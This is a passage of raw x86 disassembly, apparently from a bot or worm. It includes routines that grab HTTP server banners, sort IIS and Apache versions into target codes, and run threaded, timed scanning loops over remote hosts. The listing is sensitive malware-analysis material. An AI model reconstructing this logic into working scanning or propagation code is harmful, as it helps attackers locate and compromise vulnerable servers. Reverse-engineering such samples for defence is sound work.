sub_412D56+56j ... leave retn 4 sub_412D56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E04 proc near ; DATA XREF: sub_412F07+B0o var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AA = byte ptr -1AAh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B8h push 1ADh push [ebp+arg_0] lea eax, [ebp+var_1B4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1B0] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412E59 push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax jmp locret_412F03 ; --------------------------------------------------------------------------- loc_412E59: ; CODE XREF: sub_412E04+40j lea eax, [ebp+var_1B0] push eax mov eax, [ebp+var_1B4] push dword ptr [eax] push offset dword_41CC70 lea eax, [ebp+var_1AA] push eax call sub_40D53F add esp, 10h lea eax, [ebp+var_1B0] push eax push offset dword_41EB24 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412E8F: ; CODE XREF: sub_412E04+B7j ; sub_412E04:loc_412EEAj mov eax, [ebp+var_1B4] cmp dword ptr [eax+4], 0 jz short loc_412E9D jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412E9D: ; CODE XREF: sub_412E04+95j push 3E8h push [ebp+var_4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1B8], eax cmp [ebp+var_1B8], 0FFFFFFFFh jnz short loc_412EBD jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EBD: ; CODE XREF: sub_412E04+B5j cmp [ebp+var_1B8], 0 jnz short loc_412EC8 jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412EC8: ; CODE XREF: sub_412E04+C0j push [ebp+var_1B8] push offset sub_412D56 call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_412EEA push [ebp+var_1B8] call sub_4053B1 pop ecx loc_412EEA: ; CODE XREF: sub_412E04+D8j jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EEC: ; CODE XREF: sub_412E04+97j ; sub_412E04+C2j push [ebp+var_4] call sub_404CBB pop ecx push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax locret_412F03: ; CODE XREF: sub_412E04+50j leave retn 4 sub_412E04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep ; sub_41349C+2C7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_412F26 jmp locret_412FC4 ; --------------------------------------------------------------------------- loc_412F26: ; CODE XREF: sub_412F07+18j cmp [ebp+arg_4], 0 jz short loc_412F3A push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax jmp short loc_412F4E ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412F07+23j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_C], eax loc_412F4E: ; CODE XREF: sub_412F07+31j mov eax, [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_412F63 cmp [ebp+var_4], 0FFFFh jbe short loc_412F77 loc_412F63: ; CODE XREF: sub_412F07+51j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_4], eax loc_412F77: ; CODE XREF: sub_412F07+5Aj push 0Ah mov eax, [ebp+var_8] add eax, 4 push eax push [ebp+var_4] call sub_416F7A ; _itoa add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx push [ebp+var_4] push offset dword_41CCA8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_412E04 call sub_4095A4 add esp, 14h locret_412FC4: ; CODE XREF: sub_412F07+1Aj leave retn sub_412F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FC6 proc near ; CODE XREF: sub_4167F1+DAp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412FD8: ; CODE XREF: sub_412FC6+9j mov eax, [ebp+var_4] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz locret_41308D mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_4] imul ecx, 3Ah mov ecx, dword_41CCF6[ecx] and ecx, 0FFh mov eax, off_41CCFE[eax] sub eax, ecx mov ecx, [ebp+var_4] imul ecx, 3Ah mov off_41CCFE[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah and dword_41CCFA[eax], 0 loc_413024: ; CODE XREF: sub_412FC6+7Ej ; sub_412FC6+BEj call sub_410422 mov ecx, [ebp+var_4] imul ecx, 3Ah mov dword_41CCF6[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah cmp dword_41CCF6[eax], 0 jnz short loc_413046 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413046: ; CODE XREF: sub_412FC6+7Cj and [ebp+var_8], 0 jmp short loc_413053 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_413053: ; CODE XREF: sub_412FC6+84j mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz short loc_413088 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz short loc_413086 mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_8] imul ecx, 3Ah mov eax, dword_41CCF6[eax] cmp eax, dword_41CCF6[ecx] jnz short loc_413086 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412FC6+A2j ; sub_412FC6+BCj jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_412FC6+9Aj jmp loc_412FD1 ; --------------------------------------------------------------------------- locret_41308D: ; CODE XREF: sub_412FC6+1Fj leave retn sub_412FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308F proc near ; CODE XREF: sub_41331E+72p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 820h push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_4130C4 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130C4: ; CODE XREF: sub_41308F+2Cj push 0 push 800h lea eax, [ebp+var_810] push eax push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4130F3 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4130F3 cmp [ebp+var_8], 800h jnz short loc_4130FA loc_4130F3: ; CODE XREF: sub_41308F+53j ; sub_41308F+59j xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130FA: ; CODE XREF: sub_41308F+62j mov eax, [ebp+var_8] and [ebp+eax+var_810], 0 and [ebp+var_4], 0 push offset aServer ; "Server:" lea eax, [ebp+var_810] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41312C xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_41308F+94j lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+var_10] call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413150 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_41308F+B8j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413173 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_41308F+DBj lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41323C and [ebp+var_818], 0 and [ebp+var_814], 0 lea eax, [ebp+var_814] push eax lea eax, [ebp+var_818] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 10h cmp [ebp+var_818], 4 jnz short loc_4131E9 cmp [ebp+var_814], 0 jnz short loc_4131E9 push 4 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4131E9: ; CODE XREF: sub_41308F+147j ; sub_41308F+150j cmp [ebp+var_818], 5 jnz short loc_413203 cmp [ebp+var_814], 0 jnz short loc_413203 push 3 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413203: ; CODE XREF: sub_41308F+161j ; sub_41308F+16Aj cmp [ebp+var_818], 5 jnz short loc_41321D cmp [ebp+var_814], 5 jnz short loc_41321D push 2 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_41308F+17Bj ; sub_41308F+184j cmp [ebp+var_818], 6 jnz short loc_413237 cmp [ebp+var_814], 0 jnz short loc_413237 push 1 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413237: ; CODE XREF: sub_41308F+195j ; sub_41308F+19Ej jmp loc_41331A ; --------------------------------------------------------------------------- loc_41323C: ; CODE XREF: sub_41308F+10Ej cmp [ebp+var_C], 0 jz loc_41331A push 6 push offset aApache ; "Apache" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41331A and [ebp+var_820], 0 lea eax, [ebp+var_820] push eax push offset dword_41CD90 push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 0Ch push 6 push offset dword_41CD88 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch neg eax sbb eax, eax inc eax mov [ebp+var_81C], eax cmp [ebp+var_81C], 1 jnz short loc_4132BE push 7 push offset dword_41CD80 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_4132BE xor eax, eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_41308F+213j ; sub_41308F+229j cmp [ebp+var_820], 1 jnz short loc_4132D5 cmp [ebp+var_81C], 0 jz short loc_4132D5 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132D5: ; CODE XREF: sub_41308F+236j ; sub_41308F+23Fj cmp [ebp+var_820], 1 jnz short loc_4132EC cmp [ebp+var_81C], 0 jnz short loc_4132EC push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132EC: ; CODE XREF: sub_41308F+24Dj ; sub_41308F+256j cmp [ebp+var_820], 2 jnz short loc_413303 cmp [ebp+var_81C], 0 jz short loc_413303 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_413303: ; CODE XREF: sub_41308F+264j ; sub_41308F+26Dj cmp [ebp+var_820], 2 jnz short loc_41331A cmp [ebp+var_81C], 0 jnz short loc_41331A push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: sub_41308F:loc_413237j ; sub_41308F+1B1j ... xor eax, eax locret_41331C: ; CODE XREF: sub_41308F+30j ; sub_41308F+66j ... leave retn sub_41308F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41331E proc near ; DATA XREF: sub_41349C+4EBo ; sub_413CB3+27Co var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch push [ebp+arg_0] lea eax, [ebp+var_14C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 push [ebp+var_10E] call sub_404457 pop ecx pop ecx lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_413381 push [ebp+var_10E] call sub_40538D pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: sub_41331E+4Ej cmp [ebp+var_112], 0 jz short loc_4133B1 push [ebp+var_10E] call sub_41308F pop ecx cmp [ebp+var_112], eax jz short loc_4133B1 push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: sub_41331E+6Aj ; sub_41331E+7Ej cmp [ebp+var_8A], 1 jnz short loc_4133E0 lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_404552 pop ecx pop ecx push offset dword_41EF48 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: sub_41331E+9Aj cmp [ebp+var_8A], 2 jnz short loc_413420 push 0Ah lea eax, [ebp+var_6] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: sub_41331E+C9j call sub_412D4C push eax lea eax, [ebp+var_6] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EF48 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_413444: ; CODE XREF: sub_41331E+C0j ; sub_41331E+100j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_41346F push [ebp+var_10E] push [ebp+var_14C] call sub_412A3A pop ecx pop ecx jmp short loc_41348A ; --------------------------------------------------------------------------- loc_41346F: ; CODE XREF: sub_41331E+13Aj cmp [ebp+var_8A], 2 jnz short loc_41348A lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_412BC9 pop ecx pop ecx loc_41348A: ; CODE XREF: sub_41331E+14Fj ; sub_41331E+158j push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax locret_413498: ; CODE XREF: sub_41331E+5Ej ; sub_41331E+8Ej leave retn 4 sub_41331E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41349C proc near ; DATA XREF: sub_413AB0+1F4o var_774 = qword ptr -774h var_764 = qword ptr -764h var_75C = byte ptr -75Ch var_65C = byte ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_64C = byte ptr -64Ch var_648 = byte ptr -648h var_644 = dword ptr -644h var_640 = byte ptr -640h var_62C = dword ptr -62Ch var_628 = dword ptr -628h var_624 = byte ptr -624h var_51C = byte ptr -51Ch var_50E = dword ptr -50Eh var_50A = dword ptr -50Ah var_506 = dword ptr -506h var_502 = byte ptr -502h var_37B = byte ptr -37Bh var_37A = byte ptr -37Ah var_377 = byte ptr -377h var_36B = byte ptr -36Bh var_36A = byte ptr -36Ah var_35C = dword ptr -35Ch var_358 = dword ptr -358h var_354 = byte ptr -354h var_341 = byte ptr -341h var_296 = dword ptr -296h var_20C = byte ptr -20Ch var_20B = byte ptr -20Bh var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 764h push edi push 2C9h push [ebp+arg_0] lea eax, [ebp+var_628] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_51C] push eax call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_4134F5 push 14Ch push 0 lea eax, [ebp+var_358] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4135BF ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: sub_41349C+3Cj and [ebp+var_62C], 0 jmp short loc_41350B ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: sub_41349C:loc_4135BAj mov eax, [ebp+var_62C] inc eax mov [ebp+var_62C], eax loc_41350B: ; CODE XREF: sub_41349C+60j mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_640] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_640] push eax call sub_4105FB pop ecx lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_640] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4135BA mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCD0 mov [ebp+var_358], eax push 3Ah mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_354] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_354] push eax call sub_4105FB pop ecx lea eax, [ebp+var_341] push eax call sub_4105FB pop ecx and [ebp+var_296], 0 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_51C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4135BF ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: sub_41349C+B0j jmp loc_4134FE ; --------------------------------------------------------------------------- loc_4135BF: ; CODE XREF: sub_41349C+54j ; sub_41349C+11Cj lea eax, [ebp+var_624] push eax call sub_40806A pop ecx test eax, eax jnz short loc_4135E3 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_4135E3: ; CODE XREF: sub_41349C+132j mov al, byte_41DE30 mov [ebp+var_20C], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_20B] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_108], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_107] rep stosd stosw stosb lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch test eax, eax jnz short loc_41364D push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_41364D: ; CODE XREF: sub_41349C+19Cj push [ebp+var_506] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413675 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_413675: ; CODE XREF: sub_41349C+1C4j cmp [ebp+var_358], 0 jz loc_413782 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413782 call sub_4042FB mov [ebp+var_644], eax cmp [ebp+var_644], 0 jz short loc_4136B6 mov [ebp+var_296], 2 jmp short loc_4136C0 ; --------------------------------------------------------------------------- loc_4136B6: ; CODE XREF: sub_41349C+20Cj mov [ebp+var_296], 3 loc_4136C0: ; CODE XREF: sub_41349C+218j movsx eax, [ebp+var_36B] test eax, eax jz short loc_4136E5 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_4136E5 mov [ebp+var_296], 1 loc_4136E5: ; CODE XREF: sub_41349C+22Dj ; sub_41349C+23Dj movsx eax, [ebp+var_37B] test eax, eax jz short loc_4136FA mov [ebp+var_296], 2 loc_4136FA: ; CODE XREF: sub_41349C+252j movsx eax, [ebp+var_37A] test eax, eax jz short loc_41370F mov [ebp+var_296], 3 loc_41370F: ; CODE XREF: sub_41349C+267j cmp [ebp+var_296], 3 jnz short loc_41372B cmp [ebp+var_644], 0 jz short loc_41372B mov [ebp+var_296], 2 loc_41372B: ; CODE XREF: sub_41349C+27Aj ; sub_41349C+283j cmp [ebp+var_296], 3 jnz short loc_413782 mov al, [ebp+var_36A] mov [ebp+var_64C], al mov al, [ebp+var_377] mov [ebp+var_648], al mov [ebp+var_36A], 1 and [ebp+var_377], 0 push 0 lea eax, [ebp+var_502] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_64C] mov [ebp+var_36A], al mov al, [ebp+var_648] mov [ebp+var_377], al loc_413782: ; CODE XREF: sub_41349C+1E0j ; sub_41349C+1F4j ... push offset dword_41E2D8 call sub_409C6C pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset dword_41CE78 mov eax, [ebp+var_628] add eax, 14h push eax call sub_416B5E ; sprintf add esp, 14h push offset dword_41E2D8 call sub_409C7A pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax mov eax, [ebp+var_628] push dword ptr [eax] push offset dword_41CE40 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 18h cmp [ebp+var_358], 0 jnz short loc_413807 push 3E8h call dword_41709C ; Sleep loc_413807: ; CODE XREF: sub_41349C+35Ej and [ebp+var_10C], 0 call sub_416B64 ; clock mov [ebp+var_35C], eax and [ebp+var_4], 0 loc_41381D: ; CODE XREF: sub_41349C+3F9j ; sub_41349C+44Bj ... mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jnz short loc_413847 call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jb short loc_41384C loc_413847: ; CODE XREF: sub_41349C+38Bj jmp loc_413A43 ; --------------------------------------------------------------------------- loc_41384C: ; CODE XREF: sub_41349C+3A9j lea eax, [ebp+var_108] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch push offset dword_41EF48 lea eax, [ebp+var_20C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_413897 jmp short loc_41381D ; --------------------------------------------------------------------------- loc_413897: ; CODE XREF: sub_41349C+3F7j push [ebp+var_8] push 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_20C] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_650], eax cmp [ebp+var_650], 0 jz short loc_4138EC call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jnb short loc_4138EC jmp loc_41381D ; --------------------------------------------------------------------------- loc_4138EC: ; CODE XREF: sub_41349C+42Bj ; sub_41349C+449j push [ebp+var_50A] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_413A35 loc_413909: ; CODE XREF: sub_41349C+4BAj ; sub_41349C:loc_413A30j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_654], eax cmp [ebp+var_654], 0 jnz short loc_413926 jmp loc_413A35 ; --------------------------------------------------------------------------- loc_413926: ; CODE XREF: sub_41349C+483j mov eax, [ebp+var_10C] inc eax mov [ebp+var_10C], eax cmp [ebp+var_358], 0 jz short loc_4139B7 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_658], eax cmp [ebp+var_658], 0 jnz short loc_413958 jmp short loc_413909 ; --------------------------------------------------------------------------- loc_413958: ; CODE XREF: sub_41349C+4B8j push 14Ch lea eax, [ebp+var_358] push eax push [ebp+var_658] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_658] mov ecx, [ebp+var_654] mov [eax+3Eh], ecx push [ebp+var_658] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4139A5 push [ebp+var_658] call sub_416B4C ; free pop ecx jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139A5: ; CODE XREF: sub_41349C+4F9j push [ebp+var_8] push [ebp+var_654] call sub_404D9B pop ecx pop ecx loc_4139B5: ; CODE XREF: sub_41349C+507j jmp short loc_413A30 ; --------------------------------------------------------------------------- loc_4139B7: ; CODE XREF: sub_41349C+49Ej mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jz short loc_4139C5 jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_4139C5: ; CODE XREF: sub_41349C+525j lea eax, [ebp+var_75C] push eax push [ebp+var_654] call sub_4044F7 pop ecx pop ecx mov al, [ebp+var_36A] mov [ebp+var_65C], al and [ebp+var_36A], 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_75C] push eax push offset dword_41CE2C lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_65C] mov [ebp+var_36A], al push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_4] add eax, 3E8h mov [ebp+var_4], eax loc_413A30: ; CODE XREF: sub_41349C:loc_4139B5j jmp loc_413909 ; --------------------------------------------------------------------------- loc_413A35: ; CODE XREF: sub_41349C+467j ; sub_41349C+485j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_41381D ; --------------------------------------------------------------------------- loc_413A43: ; CODE XREF: sub_41349C:loc_413847j push [ebp+var_10C] call sub_416B64 ; clock sub eax, [ebp+var_35C] mov dword ptr [ebp+var_764], eax and dword ptr [ebp+var_764+4], 0 fild [ebp+var_764] fdiv flt_417270 push ecx push ecx fstp [esp+774h+var_774] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset unk_41CDE8 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 1Ch push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_628] call sub_409763 pop ecx xor eax, eax loc_413AAB: ; CODE XREF: sub_41349C+142j ; sub_41349C+1ACj ... pop edi leave retn 4 sub_41349C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h cmp [ebp+arg_4], 0 jz short loc_413AC2 cmp [ebp+arg_8], 0 jnz short loc_413AC7 loc_413AC2: ; CODE XREF: sub_413AB0+Aj jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_413AB0+10j push [ebp+arg_8] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_413AEB push [ebp+arg_8] call sub_40422A pop ecx test eax, eax jnz short loc_413AE9 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AE9: ; CODE XREF: sub_413AB0+32j jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413AEB: ; CODE XREF: sub_413AB0+25j and [ebp+var_14], 0 jmp short loc_413AF8 ; --------------------------------------------------------------------------- loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_413AF8: ; CODE XREF: sub_413AB0+3Fj mov eax, [ebp+var_14] imul eax, 3Ah movsx eax, byte_41CCD0[eax] test eax, eax jnz short loc_413B0E jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413AB0+57j mov eax, [ebp+var_14] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx push [ebp+arg_8] lea eax, [ebp+var_28] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_413B43 jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413B43: ; CODE XREF: sub_413AB0+8Fj jmp short loc_413AF1 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j ; sub_413AB0+91j cmp [ebp+arg_C], 0 jz short loc_413B59 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_2C], eax jmp short loc_413B60 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413AB0+99j mov [ebp+var_2C], 15180h loc_413B60: ; CODE XREF: sub_413AB0+A7j mov eax, [ebp+var_2C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413B75 cmp [ebp+var_4], 15180h jbe short loc_413B7C loc_413B75: ; CODE XREF: sub_413AB0+BAj mov [ebp+var_4], 15180h loc_413B7C: ; CODE XREF: sub_413AB0+C3j cmp [ebp+arg_10], 0 